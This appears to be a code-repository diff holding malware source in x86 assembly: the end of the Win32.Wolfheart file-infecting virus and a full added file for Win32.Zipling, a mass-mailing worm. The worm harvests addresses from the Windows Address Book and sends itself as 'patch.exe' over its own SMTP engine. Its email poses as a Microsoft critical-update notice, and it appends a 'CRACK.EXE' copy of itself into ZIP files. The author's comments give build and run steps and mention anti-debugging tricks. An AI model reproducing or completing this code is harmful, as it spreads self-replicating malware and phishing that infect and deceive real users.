mov edi, dword ptr [edi] ;get rva to IMAGE_IMPORT_BYNAME structure(Characteristics)
|
||||
add edi, ebx ;convert it to va
|
||||
NxtIBN: mov dword ptr [ebp+Import_By_Name], edi ;save import by name offset
|
||||
mov eax, dword ptr [edi] ;get api name
|
||||
or eax, eax
|
||||
je FindApiInImportErr
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov edi, dword ptr [edi]
|
||||
add edi, ebx
|
||||
inc edi
|
||||
inc edi
|
||||
mov ecx, 00000000
|
||||
|
||||
StrLen equ ($-4)
|
||||
|
||||
mov esi, 00000000
|
||||
|
||||
StrAdd equ ($-4)
|
||||
|
||||
repz cmpsb
|
||||
je FindApiInImport_Success
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov edi, dword ptr [ebp+Import_By_Name] ;get import by name
|
||||
add edi, 00000004 ;move to next import by name
|
||||
add edx, 00000004
|
||||
jmp NxtIBN
|
||||
FindApiInImport_Success:
|
||||
mov edi, edx
|
||||
mov eax, dword ptr [edi]
|
||||
mov dword ptr [ebp+0040164Fh], eax
|
||||
clc
|
||||
ret
|
||||
FindApiInImportErr:
|
||||
stc
|
||||
ret
|
||||
ret
|
||||
|
||||
;wolfheart's data:
|
||||
|
||||
k32_dll db "KERNEL32.DLL",0
|
||||
|
||||
GMH db "GetModuleHandleA"
|
||||
|
||||
GPA db "GetProcAddress"
|
||||
|
||||
|
||||
SM_Offset equ (WIN32_FIND_DATA-$-3)
|
||||
|
||||
search_mask db "*.exe",0
|
||||
|
||||
|
||||
|
||||
;New section to add:
|
||||
|
||||
SH_Name DB ".ByteSV",0
|
||||
SH_VirtualSize DD 0
|
||||
SH_VirtualAddress DD 0
|
||||
SH_SizeOfRawData DD 0
|
||||
SH_PointerToRawData DD 0
|
||||
SH_PointerToRelocations DD 0
|
||||
SH_PointerToLinenumbers DD 0
|
||||
SH_NumberOfRelocations DW 0
|
||||
SH_NumberOfLinenumbers DW 0
|
||||
SH_Characteristics DD 600000E0h
|
||||
|
||||
|
||||
;copyright string
|
||||
db "[Win32.Wolfheart.1481] (c) ByteSV/VHC",0
|
||||
|
||||
|
||||
|
||||
ApiNamesTable:
|
||||
|
||||
;comment:
|
||||
;wolfheart align api name by 19 bytes..
|
||||
|
||||
|
||||
db "FindFirstFileA"
|
||||
db 5 dup(0)
|
||||
db "FindNextFileA"
|
||||
db 6 dup(0)
|
||||
db "CloseHandle"
|
||||
db 8 dup(0)
|
||||
db "CreateFileA"
|
||||
db 8 dup(0)
|
||||
db "WriteFile"
|
||||
db 0ah dup(0)
|
||||
db "ReadFile"
|
||||
db 0bh dup(0)
|
||||
db "CreateFileMappingA",0
|
||||
db "MapViewOfFile"
|
||||
db 6 dup(0)
|
||||
db "UnmapViewOfFile"
|
||||
db 4 dup(0)
|
||||
db "SetFilePointer"
|
||||
db 5 dup(0)
|
||||
db "SetEndOfFile"
|
||||
db 7 dup(0)
|
||||
db "SetFileTime"
|
||||
db 0eh dup(0)
|
||||
|
||||
F_FirstFile equ ($-offset search_mask)
|
||||
|
||||
ApiAddresses_Table: ;(00401617)
|
||||
|
||||
|
||||
FindFirstFileA_ dd 0 ;17
|
||||
FindNextFileA_ dd 0 ;1b
|
||||
CloseHandle_ dd 0 ;1f
|
||||
CreateFileA_ dd 0 ;23
|
||||
WriteFile_ dd 0 ;27
|
||||
ReadFile_ dd 0 ;2b
|
||||
CreateFileMappingA_ dd 0 ;2f
|
||||
MapViewOfFile_ dd 0 ;33
|
||||
UnmapViewOfFile_ dd 0 ;37
|
||||
SetFilePointer_ dd 0 ;3b
|
||||
SetEndOfFile_ dd 0 ;3f
|
||||
SetFileTime_ dd 0 ;43
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Import_By_Name dd 0
|
||||
|
||||
image_import_desc dd 0
|
||||
|
||||
;:0040-1647 00000000000000 BYTE 10 DUP(0)
|
||||
;:0040164E 0000000000
|
||||
|
||||
|
||||
find_handle dd 0
|
||||
|
||||
|
||||
|
||||
|
||||
; 00 BYTE 10 DUP(0)
|
||||
|
||||
hfile dd 0
|
||||
|
||||
;:0040165b 00000000000000 BYTE 7 DUP(0)
|
||||
;:00401662 00
|
||||
mapbase dd 0
|
||||
|
||||
|
||||
|
||||
Export_Section dd 0
|
||||
;;00401-667
|
||||
;:0040166C 000000
|
||||
|
||||
|
||||
DistanceToMove dd 0
|
||||
|
||||
|
||||
FindNXTFile equ ($-FindNextFileA_)
|
||||
|
||||
|
||||
|
||||
Search_Mask equ (WIN32_FIND_DATA-search_mask)
|
||||
|
||||
FILETIME STRUC
|
||||
FT_dwLowDateTime DD ?
|
||||
FT_dwHighDateTime DD ?
|
||||
FILETIME ENDS
|
||||
|
||||
|
||||
WIN32_FIND_DATA:
|
||||
WFD_dwFileAttributes DD ?
|
||||
WFD_ftCreationTime FILETIME ?
|
||||
WFD_ftLastAccessTime FILETIME ?
|
||||
WFD_ftLastWriteTime FILETIME ?
|
||||
WFD_nFileSizeHigh DD ?
|
||||
WFD_nFileSizeLow DD ?
|
||||
WFD_dwReserved0 DD ?
|
||||
WFD_dwReserved1 DD ?
|
||||
WFD_szFileName DB 0ffh DUP (?)
|
||||
WFD_szAlternateFileName DB 13 DUP (?)
|
||||
DB 3 DUP (?) ; dword padding
|
||||
|
||||
|
||||
MAX_PATH equ 0ffh
|
||||
|
||||
|
||||
CreationTime FILETIME ?
|
||||
LastAccessTime FILETIME ?
|
||||
LastWriteTime FILETIME ?
|
||||
|
||||
|
||||
|
||||
SizeOfEncryptedVirus equ ($-EncryptedVirusStart)
|
||||
|
||||
; 00000000 BYTE 10 DUP(0)
|
||||
;:0040168A 00000000000000000000 BYTE 10 DUP(0)
|
||||
|
||||
VirusEnd equ ($-VirusStart)
|
||||
FakeHost:
|
||||
push eax
|
||||
call ExitProcess
|
||||
|
||||
|
||||
end VirusStart
|
970
Win32/Win32.Zipling.asm
Normal file
970
Win32/Win32.Zipling.asm
Normal file
@ -0,0 +1,970 @@
|
||||
;
|
||||
; W32/ZipLing -
|
||||
;
|
||||
; First of all this is the source code to an I-Worm. I do not guarantee it works, although
|
||||
; I have tested it on my system and it had seemed to work. I lost interest in it after a while
|
||||
; so I completely forgot about it until one day, when i decided to finish my I-Worm ;). It should
|
||||
; work however, because as far as my short-term memory goes back it seemed to work OK where it
|
||||
; was at a couple of weeks ago. Basically now I just added in the threads and took out the breakpoints,
|
||||
; so I think it should travel nicely (if it was spreaded). Anyway, please contact me if you find
|
||||
; a problem or if you'd like to comment on it. I am not responsible for what happens to you or
|
||||
; other people if you use it. You've been warned =)
|
||||
;
|
||||
;
|
||||
; This is my I-Worm. I been workin on it for about 4 weeks (i took a bit of a break for 1
|
||||
; week:). It doesn't travel by MAPI but it does somewhat rely on Outlook. It needs Windows
|
||||
; Address Book, but this shouldn't be a problem because most people have outlook. It uses its
|
||||
; own SMTP engine. It Mime encodes the worm EXE and sends it out to all addresses in the default
|
||||
; WAB file. As you can see, this can spread very well if it gets sent to the right place. This
|
||||
; worm uses many anti-debug and anti-emu tricks, to make detection of it harder. It creates 2 threads:
|
||||
; 1 checks 1 drive for zip files, dropping a crack.exe over all of them.
|
||||
; User may think it is a bit suspicious but I'm sure he doesnt look at all of his zip files. Other thread
|
||||
; finds email addresses and sends each a copy of the worm+msg from microsoft :). Worm is named patch.exe
|
||||
; and claims to fix a serious bug inside windows core (kernel32) files. It doesn't though; it just gives
|
||||
; a message saying corrupt CRC or something the like. The file that it drops inside zip files says same
|
||||
; thing, and since they are crack.exe and patch.exe it should fit both.
|
||||
;
|
||||
;
|
||||
; This source is does not have many comments. If you want to learn how to create a worm,
|
||||
; I recommend you try the MAPI way first. There are a couple of ASM worms that are straight
|
||||
; forward for you to learn on.
|
||||
;
|
||||
;
|
||||
;
|
||||
; How to build:
|
||||
; (masm32)
|
||||
; ml /c /coff ziplung.asm
|
||||
; link /SUBSYSTEM:WINDOWS ziplung.obj
|
||||
; pewrsec ziplung.exe
|
||||
; ziplung.exe
|
||||
; ^^^^^^^^^^^-> hehehe
|
||||
;
|
||||
; please pay visit to http://bluebola.8k.com !
|
||||
;
|
||||
; and.. Enjoy.
|
||||
|
||||
.486p
|
||||
.model flat,stdcall
|
||||
option casemap :none
|
||||
include \masm32\include\windows.inc
|
||||
include \masm32\include\zipfile.inc
|
||||
include \masm32\include\advapi32.inc
|
||||
include \masm32\include\kernel32.inc
|
||||
include \masm32\include\wsock32.inc
|
||||
include \masm32\include\user32.inc
|
||||
includelib \masm32\lib\kernel32.lib
|
||||
includelib \masm32\lib\wsock32.lib
|
||||
includelib \masm32\lib\advapi32.lib
|
||||
includelib \masm32\lib\user32.lib
|
||||
|
||||
SearchZIP PROTO :DWORD
|
||||
thread1 PROTO
|
||||
thread2 PROTO
|
||||
|
||||
.code ; CODE SECTION of worm
|
||||
start:
|
||||
jmp @F
|
||||
|
||||
filename db 128 dup (?)
|
||||
szTemp db "tmp9174.tmp",0
|
||||
mem01 dd 0
|
||||
hTemp dd 0
|
||||
tSize dd 0
|
||||
thid1 dd 0
|
||||
thid2 dd 0
|
||||
fr db 260 dup (?)
|
||||
msg db "Could not patch due to bad CRC!",0
|
||||
@@:
|
||||
invoke GetModuleFileName,0,addr filename,128
|
||||
invoke CopyFile,addr filename,addr szTemp,0
|
||||
invoke CreateFile,addr szTemp,0c0000000h,01h,00h,03h,00h,00h
|
||||
mov hTemp,eax
|
||||
invoke GetFileSize,EAX,0
|
||||
mov ebx,eax
|
||||
invoke GlobalAlloc,0,eax
|
||||
mov mem01,eax
|
||||
invoke ReadFile,hTemp,mem01,ebx,addr filename,00h
|
||||
invoke CloseHandle,hTemp
|
||||
; MEM01 now = ptr to our EXE. We need this for MIME and ZIP appending
|
||||
mov tSize,EBX
|
||||
mov zpC_S1,EBX ; adjust the size of our data
|
||||
mov zpC_S2,EBX
|
||||
mov zpL_S1,EBX
|
||||
mov zpL_S2,EBX
|
||||
|
||||
invoke MessageBox,0,addr msg,0,0
|
||||
|
||||
invoke CreateThread,0,0,addr thread1,addr fr,0,addr thid1
|
||||
mov ebx,eax
|
||||
|
||||
invoke CreateThread,0,0,addr thread2,0,0,addr thid2
|
||||
mov esi,eax
|
||||
|
||||
invoke WaitForSingleObject,ebx,-1
|
||||
invoke WaitForSingleObject,esi,-1
|
||||
jmp LeaveNow
|
||||
|
||||
Recipient db 256 dup (?)
|
||||
sizeRecip dd $-Recipient
|
||||
|
||||
sendtable:
|
||||
dd offset SendHelo ; HELO LocalHost
|
||||
dd offset SendFrom ; MAIL FROM:
|
||||
dd offset SendRcpt ; RCPT TO:
|
||||
dd offset SendData1 ; send the DATA part of the message
|
||||
dd offset SendData2 ; sends the actual DATA
|
||||
dd offset SendQuit ; send the QUIT part
|
||||
dd 00000000h ; end marka
|
||||
buffer db 512 dup (?)
|
||||
; Used for SELECT calls
|
||||
Timeout:
|
||||
dd 5
|
||||
dd 0
|
||||
FDSet:
|
||||
dd 1
|
||||
MailSocket dd 0
|
||||
SendWorm: ; This little part of the worm does this here:
|
||||
; Gets Default Email server
|
||||
; Connects to it
|
||||
; Sends the message
|
||||
pushad
|
||||
openkey:
|
||||
xor eax,eax
|
||||
call @F
|
||||
phkMailKey dd 0
|
||||
@@:
|
||||
push KEY_ALL_ACCESS
|
||||
push eax
|
||||
call @F
|
||||
db "Software\Microsoft\Internet Account Manager"
|
||||
slashkey db 0
|
||||
db "Accounts\"
|
||||
lpDefaultAccount db 8 dup(0)
|
||||
db 0
|
||||
@@:
|
||||
push HKEY_CURRENT_USER
|
||||
call RegOpenKeyEx
|
||||
|
||||
or eax,eax
|
||||
jnz LeaveNow
|
||||
|
||||
cmp byte ptr [slashkey],0
|
||||
jnz getsmtpmail
|
||||
|
||||
xor eax,eax
|
||||
call @F
|
||||
dd 00000009h
|
||||
@@:
|
||||
push offset lpDefaultAccount
|
||||
push eax
|
||||
push eax
|
||||
call @F
|
||||
db "Default Mail Account",0
|
||||
@@:
|
||||
push dword ptr [phkMailKey]
|
||||
call RegQueryValueEx
|
||||
push dword ptr [phkMailKey]
|
||||
call RegCloseKey
|
||||
mov byte ptr [slashkey],'\'
|
||||
jmp openkey
|
||||
getsmtpmail:
|
||||
xor eax,eax
|
||||
call @F
|
||||
dd 00000200h ; 512 bytes
|
||||
@@:
|
||||
push offset buffer
|
||||
push eax
|
||||
push eax
|
||||
call @F
|
||||
db "SMTP Server",0
|
||||
@@:
|
||||
push dword ptr [phkMailKey]
|
||||
call RegQueryValueEx
|
||||
push dword ptr [phkMailKey]
|
||||
call RegCloseKey
|
||||
|
||||
lea edi,buffer
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
call @F
|
||||
pp2 WSADATA <?>
|
||||
@@:
|
||||
push 0101h
|
||||
call WSAStartup
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
push edi
|
||||
call gethostbyname
|
||||
|
||||
mov eax,[eax+12]
|
||||
mov eax,[eax]
|
||||
mov eax,[eax] ; we got the DWORD IP
|
||||
|
||||
mov dword ptr [dwIPAddress],EAX
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
call socket
|
||||
mov MailSocket,EAX
|
||||
inc eax
|
||||
jz LeaveNow
|
||||
|
||||
push 16 ; size of following structure
|
||||
call @F
|
||||
dw AF_INET
|
||||
hPort db 0, 25
|
||||
dwIPAddress dd 0
|
||||
Reserved2 dd 0,0
|
||||
@@:
|
||||
push dword ptr [MailSocket]
|
||||
call connect
|
||||
inc eax
|
||||
jz EndWinsock
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
cld
|
||||
lea ebx,sendtable ; sendtable = table of functions that operate w/ smtp server
|
||||
WaitForResponse: ; check if its ok to read
|
||||
xor eax,eax
|
||||
push offset Timeout
|
||||
push eax
|
||||
push eax
|
||||
push offset FDSet
|
||||
push eax
|
||||
call select
|
||||
|
||||
dec eax
|
||||
jnz EndWinsock
|
||||
|
||||
call @worm_recv ; receive the data into ptr supplied by ESI
|
||||
or eax,eax
|
||||
jz EndWinsock
|
||||
|
||||
lodsb
|
||||
dec esi ; we dont want to modify ESI
|
||||
okiebyte equ $+1 ; to change the 032h
|
||||
cmp al,032h ; 032h = "2" = OK :)
|
||||
jnz EndWinsock ; no no its not ok
|
||||
|
||||
mov byte ptr [okiebyte],032h ; fixor it when we mess it up
|
||||
SendOurResponse: ; check if its okay to write
|
||||
xor eax,eax
|
||||
push offset Timeout
|
||||
push eax
|
||||
push offset FDSet
|
||||
push eax
|
||||
push eax
|
||||
call select
|
||||
|
||||
dec eax
|
||||
jnz EndWinsock
|
||||
|
||||
call dword ptr [ebx]
|
||||
or eax,eax
|
||||
jz EndWinsock ; zero = error
|
||||
|
||||
cmp dword ptr [ebx+4],0
|
||||
jz EndWinsock ; end of table
|
||||
|
||||
add ebx,4
|
||||
jmp WaitForResponse
|
||||
SendHelo: ; sends a HELO command
|
||||
jmp @F
|
||||
pHelo db "HELO LocalHost",0Dh,0Ah
|
||||
sHelo equ $-pHelo
|
||||
@@:
|
||||
lea esi,pHelo
|
||||
mov ecx,sHelo
|
||||
call @worm_send ; send the data
|
||||
ret
|
||||
SendQuit: ; sends a QUIT command
|
||||
jmp @F
|
||||
pQuit db "QUIT",0Dh,0Ah
|
||||
sQuit equ $-pQuit
|
||||
@@:
|
||||
lea esi,pQuit
|
||||
mov ecx,sQuit
|
||||
call @worm_send ; send the data
|
||||
ret
|
||||
SendFrom:
|
||||
jmp @F
|
||||
pFrom db "MAIL FROM:<critical@microsoft.com>",0Dh,0Ah
|
||||
sFrom equ $-pFrom
|
||||
@@:
|
||||
lea esi,pFrom
|
||||
mov ecx,sFrom
|
||||
call @worm_send
|
||||
ret
|
||||
SendRcpt:
|
||||
jmp @F
|
||||
pRcpt db "RCPT TO:<"
|
||||
sRcpt equ $-pRcpt
|
||||
pRcpt2 db ">",0Dh,0Ah
|
||||
sRcpt2 equ $-pRcpt2
|
||||
@@:
|
||||
lea esi,pRcpt
|
||||
mov ecx,sRcpt
|
||||
call @worm_send
|
||||
|
||||
lea esi,Recipient ; who to email it to
|
||||
mov ecx,sizeRecip ; Size of the string
|
||||
call @worm_send
|
||||
|
||||
lea esi,pRcpt2
|
||||
mov ecx,sRcpt2
|
||||
call @worm_send ; send the 0A0Dh so server accepts it
|
||||
ret
|
||||
SendData1:
|
||||
jmp @F
|
||||
pData db "DATA",0Dh,0Ah
|
||||
sData equ $-pData
|
||||
@@:
|
||||
lea esi,pData
|
||||
mov ecx,sData
|
||||
call @worm_send
|
||||
mov byte ptr [okiebyte],033h
|
||||
ret
|
||||
SendData2:
|
||||
jmp @F
|
||||
pData2 db "From: Microsoft Critical Response Team <critical@microsoft.com>",0Dh,0Ah
|
||||
db "Subject: Urgent message for all Windows users",0Dh,0Ah
|
||||
db "MIME-Version: 1.0",0Dh,0Ah
|
||||
db 'Content-Type: multipart/mixed; boundary="bound"',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db '--bound',0Dh,0Ah
|
||||
db 'Content-Type: text/plain; charset=ISO-8859-1',0Dh,0Ah
|
||||
db 'Content-Transfer-Encoding: 7bit',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db "Dear Windows User,",0Dh,0Ah
|
||||
db 0Dh,0AH
|
||||
db " The Microsoft Security Experts have discovered a bug inside the Windows'",0Dh,0Ah
|
||||
db " files that poses a security threat to all versions of Windows newer than ",0Dh,0Ah
|
||||
db " Windows98 (including Windows98). Virus experts have reported that few known",0Dh,0Ah
|
||||
db " viruses have been identified using this exploit, but more are expected. A ",0Dh,0Ah
|
||||
db " patch has been supplied with this email and will fix the security hole. ",0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db " **THIS MESSAGE WAS DELIVERED VIA MICROSOFT ALERT AUTO-MESSENGER** ",0Dh,0Ah
|
||||
db '--bound',0Dh,0Ah
|
||||
db 'Content-Type: application/octet-stream; name=patch.exe',0Dh,0Ah
|
||||
db 'Content-Transfer-Encoding: base64',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
|
||||
sData2 equ $-pData2
|
||||
pDot db 0Dh,0Ah,'--bound--',0Dh,0Ah
|
||||
db 0Dh,0Ah
|
||||
db "."
|
||||
db 0Dh,0Ah
|
||||
sDot equ $-pDot
|
||||
|
||||
mem02 dd 0
|
||||
|
||||
@@:
|
||||
|
||||
lea esi,pData2
|
||||
mov ecx,sData2
|
||||
call @worm_send
|
||||
; Send the actual file in mime format
|
||||
invoke GlobalAlloc,0,7168*3 ; for mime encoded
|
||||
mov mem02,eax
|
||||
|
||||
mov eax,tSize ; Data size MUST BE DIVISIBLE BY 3!
|
||||
mov ecx,3
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
xor edx,edx
|
||||
mul ecx
|
||||
mov ecx,eax
|
||||
|
||||
mov edx,mem02
|
||||
mov eax,mem01
|
||||
call encodebase64
|
||||
|
||||
mov esi,mem02
|
||||
call @worm_send
|
||||
|
||||
lea esi,pDot
|
||||
mov ecx,sDot
|
||||
call @worm_send
|
||||
|
||||
invoke GlobalFree,mem02
|
||||
|
||||
ret
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
EndWinsock:
|
||||
push dword ptr [MailSocket]
|
||||
call closesocket
|
||||
|
||||
popad
|
||||
ret
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
LeaveNow:
|
||||
invoke ExitProcess,0
|
||||
|
||||
@worm_recv:
|
||||
lea esi,buffer
|
||||
push 0
|
||||
push 512
|
||||
push esi
|
||||
push dword ptr [MailSocket]
|
||||
call recv
|
||||
ret
|
||||
|
||||
@worm_send:
|
||||
; ESI = ptr to what to send
|
||||
; ECX = size of data to send
|
||||
push 0
|
||||
push ecx
|
||||
push esi
|
||||
push dword ptr [MailSocket]
|
||||
call send
|
||||
ret
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; ZIP Appending procedures (c) blueEbola 2001-2002
|
||||
; Feel free to distibute this procedure or use it in your own code.
|
||||
;
|
||||
zipappend:
|
||||
jmp @F
|
||||
zpLocalFile dd 04034B50h ; PK signature
|
||||
dw 0014h
|
||||
dw 8000h
|
||||
dw 0000h
|
||||
dw 8C78h
|
||||
dw 8578h
|
||||
zpL_crc dd 00000000h
|
||||
zpL_S1 dd sizeLoc-data_s
|
||||
zpL_S2 dd sizeLoc-data_s
|
||||
dw 0009h ; filename = 8 chars long
|
||||
dw 0000h
|
||||
db "CRACK.EXE" ; Most users run cracks hehe (we give a fake message :)
|
||||
data_s:
|
||||
sizeLoc equ $
|
||||
|
||||
fName dd 0 ; pointer to name to infect
|
||||
hFile dd 0
|
||||
fSize dd 0
|
||||
hAlloc dd 0
|
||||
dwTempRW dd 0
|
||||
|
||||
zpCentralDir dd 02014b50h
|
||||
db 14h
|
||||
db 00h
|
||||
db 14h
|
||||
db 00h
|
||||
dw 8000h
|
||||
dw 0000h
|
||||
dw 8c78h
|
||||
dw 8578h
|
||||
zpC_crc dd 00000000h
|
||||
zpC_S1 dd sizeLoc-data_s
|
||||
zpC_S2 dd sizeLoc-data_s
|
||||
dw 0009h
|
||||
dw 0,0,0,0
|
||||
dd 00000020h
|
||||
rvaloc dd 00000000h
|
||||
db "CRACK.EXE"
|
||||
sizeCen equ $
|
||||
@@:
|
||||
mov fName,ESI
|
||||
|
||||
mov ecx,zpL_S1
|
||||
mov esi,mem01
|
||||
call CRC32
|
||||
mov zpC_crc,EAX
|
||||
mov zpL_crc,EAX
|
||||
|
||||
invoke CreateFile,fName,0c0000000h,01h,00h,03h,00h,00h
|
||||
mov hFile,EAX
|
||||
inc eax
|
||||
jz errorzip
|
||||
dec eax
|
||||
invoke GetFileSize,hFile,0
|
||||
mov fSize,EAX
|
||||
invoke GlobalAlloc,0,fSize
|
||||
mov hAlloc,EAX
|
||||
invoke ReadFile,hFile,eax,fSize,addr dwTempRW,0
|
||||
invoke CloseHandle,hFile
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Appends to data to zip files. (c) blueEbola (me'za love copyrights:)
|
||||
; Most of this was taken from my zippy_ok.asm file and my article, greetz to me :)
|
||||
|
||||
mov edi,hAlloc
|
||||
add edi,fSize
|
||||
sub edi,4
|
||||
LocateEndOfCentral:
|
||||
cmp dword ptr [edi],06054B50h ; PK signature for endofcentral
|
||||
jz FoundEndOfCentral
|
||||
dec edi
|
||||
jmp LocateEndOfCentral
|
||||
FoundEndOfCentral:
|
||||
; OK, we have to check if it is infected
|
||||
jmp checkzip
|
||||
Infect:
|
||||
ASSUME EDI:PTR ZIPEndOfCentralDir
|
||||
mov esi,[edi].ZECD_RVACentralDir
|
||||
|
||||
invoke CreateFile,fName,0C0000000h,01h,00h,02h,00h,00h
|
||||
mov hFile,EAX
|
||||
mov ebx,hAlloc
|
||||
invoke WriteFile,hFile,ebx,esi,addr dwTempRW,0
|
||||
add ebx,esi
|
||||
invoke WriteFile,hFile,addr zpLocalFile,sizeLoc-zpLocalFile,addr dwTempRW,0
|
||||
invoke WriteFile,hFile,mem01,tSize,addr dwTempRW,0
|
||||
mov ecx,[edi].ZECD_SizeOfCentralDir
|
||||
invoke WriteFile,hFile,ebx,ecx,addr dwTempRW,0
|
||||
mov rvaloc,esi
|
||||
invoke WriteFile,hFile,addr zpCentralDir,sizeCen-zpCentralDir,addr dwTempRW,0
|
||||
mov ebx,rvaloc
|
||||
|
||||
add ebx,sizeLoc-zpLocalFile ; size of file
|
||||
add ebx,zpL_S1
|
||||
mov ecx,[edi].ZECD_SizeOfCentralDir
|
||||
add ecx,sizeCen-zpCentralDir
|
||||
mov [edi].ZECD_SizeOfCentralDir,ECX
|
||||
inc [edi].ZECD_TotalNumberOfEntries
|
||||
inc [edi].ZECD_NumberOfEntries
|
||||
mov [edi].ZECD_RVACentralDir,EBX
|
||||
|
||||
mov ebx,hAlloc
|
||||
add ebx,fSize
|
||||
sub ebx,edi
|
||||
invoke WriteFile,hFile,edi,ebx,addr dwTempRW,0
|
||||
invoke CloseHandle,hFile
|
||||
|
||||
errorzip:
|
||||
invoke GlobalFree,hAlloc ; free the mem
|
||||
ret
|
||||
|
||||
checkzip:
|
||||
pushad
|
||||
search: cmp dword ptr [edi],02014B50h
|
||||
jz foundlast
|
||||
dec edi
|
||||
jmp search
|
||||
foundlast: lea edi,[edi+2Eh] ; Filename
|
||||
cmp dword ptr [edi],'CARC' ; CRAC*.***
|
||||
popad
|
||||
jz errorzip ; abort
|
||||
jmp Infect
|
||||
|
||||
CRC32 proc ; ecx = size string esi = string
|
||||
push esi ; I found this proc inside T2000's article on encrypting ZIP files
|
||||
push edx ; thanx T2000 you're a life saver (i been looking everywhere for good CRC32
|
||||
; function because WinZip didn't like my old one!) :) greetz to you!
|
||||
stc
|
||||
sbb edx,edx
|
||||
clc
|
||||
cld
|
||||
LoadChar:
|
||||
lodsb
|
||||
xor dl,al
|
||||
mov al,08h ; 8 bits
|
||||
BitCRC:
|
||||
shr edx,1 ; get bit into carry flag
|
||||
jnc NoCRC ; not set, no CRC
|
||||
xor edx,0EDB88320h ; crc found
|
||||
NoCRC: dec al ; next bit
|
||||
jnz BitCRC
|
||||
loop LoadChar
|
||||
|
||||
xchg edx,eax
|
||||
not eax
|
||||
|
||||
pop edx
|
||||
pop esi
|
||||
ret
|
||||
CRC32 endp
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; ZIP search procedure
|
||||
;
|
||||
; Recursive ZIP file find function
|
||||
; Infects every 3rd zip file found on the system
|
||||
; BTW, In MASM32 v7.0, the FindFile example was created by me :)
|
||||
;
|
||||
; Requirements: s_path buffer must not contain '\' at the end of it (ie. 'C:\Windows')
|
||||
;
|
||||
|
||||
SearchZIP PROC s_path:DWORD ; ptr at s_path must be 260 bytes long (will crash otherwise!:)
|
||||
|
||||
LOCAL wTemp[260]:BYTE ; temporary
|
||||
LOCAL wfd:WIN32_FIND_DATA
|
||||
LOCAL hFind:DWORD
|
||||
|
||||
invoke Sleep,300d ; wait a 0.3 seconds
|
||||
|
||||
jmp zerodir ; zero out the string above
|
||||
__ret001:
|
||||
lea edi,wTemp
|
||||
|
||||
push edi
|
||||
mov esi,s_path
|
||||
mov ecx,260
|
||||
rep movsb
|
||||
pop edi
|
||||
|
||||
xor al,al
|
||||
scasb
|
||||
jnz $-1 ; get to the 0byte
|
||||
|
||||
dec edi
|
||||
|
||||
mov ax,'*\'
|
||||
stosw
|
||||
|
||||
invoke FindFirstFile,addr wTemp,addr wfd
|
||||
mov hFind,EAX
|
||||
push eax
|
||||
inc eax
|
||||
jz NoFiles
|
||||
pop ebx
|
||||
|
||||
; API's dont modify EBX- its good for handles
|
||||
.while EBX > 0
|
||||
lea esi,wfd.cFileName ; filename
|
||||
lodsw
|
||||
.if AX != 2E2Eh && AX != 002Eh ; '..' or '.'
|
||||
; its not those silly directories...
|
||||
sub esi,02Eh
|
||||
mov eax,[esi]
|
||||
.if AL & 010h ; is it a directory
|
||||
; It is a directory
|
||||
lea esi,wfd.cFileName
|
||||
lea edi,wTemp
|
||||
|
||||
mov al,'*'
|
||||
scasb
|
||||
jnz $-1
|
||||
sub edi,2
|
||||
|
||||
push edi
|
||||
|
||||
xor ecx,ecx
|
||||
mov al,'\'
|
||||
|
||||
boohoo: stosb
|
||||
lodsb
|
||||
inc ecx
|
||||
cmp al,00h
|
||||
jnz boohoo
|
||||
|
||||
pop edi
|
||||
pushad
|
||||
invoke SearchZIP,addr wTemp
|
||||
popad
|
||||
|
||||
mov ax,'*\'
|
||||
stosw
|
||||
|
||||
sub ecx,2
|
||||
xor al,al
|
||||
rep stosb
|
||||
|
||||
.else
|
||||
; It is a file
|
||||
; Now we have to check if it is a .ZIP file
|
||||
lea edi,wfd.cFileName
|
||||
xor al,al
|
||||
xor ecx,ecx
|
||||
not ecx
|
||||
repnz scasb
|
||||
|
||||
sub edi,5
|
||||
mov eax,dword ptr [edi]
|
||||
or eax,020202020h
|
||||
cmp eax,'piz.' ; .zip file?
|
||||
